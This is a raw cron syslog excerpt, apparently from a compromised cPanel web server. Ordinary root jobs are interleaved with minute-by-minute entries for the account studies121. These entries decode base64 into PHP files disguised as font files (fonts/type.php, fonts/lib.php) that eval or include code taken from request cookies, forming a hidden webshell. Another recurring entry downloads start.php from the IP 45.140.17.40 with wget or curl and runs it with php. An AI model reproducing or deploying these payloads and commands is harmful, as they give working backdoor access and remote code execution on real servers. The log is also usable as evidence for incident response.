Sep  9 03:10:01 ip-184-168-122-23 CROND[873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:10:01 ip-184-168-122-23 CROND[876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:10:01 ip-184-168-122-23 CROND[878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:10:01 ip-184-168-122-23 CROND[877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:11:01 ip-184-168-122-23 CROND[981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:11:01 ip-184-168-122-23 CROND[982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:11:01 ip-184-168-122-23 CROND[984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:11:01 ip-184-168-122-23 CROND[985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:12:01 ip-184-168-122-23 CROND[1184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:12:01 ip-184-168-122-23 CROND[1187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:12:01 ip-184-168-122-23 CROND[1186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:12:01 ip-184-168-122-23 CROND[1189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:12:01 ip-184-168-122-23 CROND[1188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:13:01 ip-184-168-122-23 CROND[1286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:13:01 ip-184-168-122-23 CROND[1287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:13:01 ip-184-168-122-23 CROND[1288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:13:01 ip-184-168-122-23 CROND[1289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:14:02 ip-184-168-122-23 CROND[1395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:14:02 ip-184-168-122-23 CROND[1397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:14:02 ip-184-168-122-23 CROND[1400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:14:02 ip-184-168-122-23 CROND[1398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:14:02 ip-184-168-122-23 CROND[1399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:15:01 ip-184-168-122-23 CROND[1519]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:15:01 ip-184-168-122-23 CROND[1518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:15:01 ip-184-168-122-23 CROND[1522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:15:01 ip-184-168-122-23 CROND[1523]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:15:01 ip-184-168-122-23 CROND[1521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:15:02 ip-184-168-122-23 CROND[1525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:16:01 ip-184-168-122-23 CROND[1621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:16:01 ip-184-168-122-23 CROND[1622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:16:01 ip-184-168-122-23 CROND[1625]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 03:16:01 ip-184-168-122-23 CROND[1624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:16:01 ip-184-168-122-23 CROND[1627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:16:01 ip-184-168-122-23 CROND[1628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:17:01 ip-184-168-122-23 CROND[1791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:17:01 ip-184-168-122-23 CROND[1793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:17:01 ip-184-168-122-23 CROND[1795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:17:01 ip-184-168-122-23 CROND[1792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:18:01 ip-184-168-122-23 CROND[1870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:18:01 ip-184-168-122-23 CROND[1874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:18:01 ip-184-168-122-23 CROND[1872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:18:01 ip-184-168-122-23 CROND[1873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:18:01 ip-184-168-122-23 CROND[1875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:19:01 ip-184-168-122-23 CROND[1956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:19:01 ip-184-168-122-23 CROND[1959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:19:01 ip-184-168-122-23 CROND[1958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:19:01 ip-184-168-122-23 CROND[1957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:20:01 ip-184-168-122-23 CROND[2068]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:20:01 ip-184-168-122-23 CROND[2071]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:20:01 ip-184-168-122-23 CROND[2073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:20:01 ip-184-168-122-23 CROND[2075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:20:01 ip-184-168-122-23 CROND[2078]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 03:20:01 ip-184-168-122-23 CROND[2080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:20:01 ip-184-168-122-23 CROND[2079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:20:01 ip-184-168-122-23 CROND[2076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:20:01 ip-184-168-122-23 CROND[2081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:21:01 ip-184-168-122-23 CROND[2167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:21:01 ip-184-168-122-23 CROND[2168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:21:01 ip-184-168-122-23 CROND[2170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:21:01 ip-184-168-122-23 CROND[2171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:22:01 ip-184-168-122-23 CROND[2245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:22:01 ip-184-168-122-23 CROND[2250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:22:01 ip-184-168-122-23 CROND[2248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
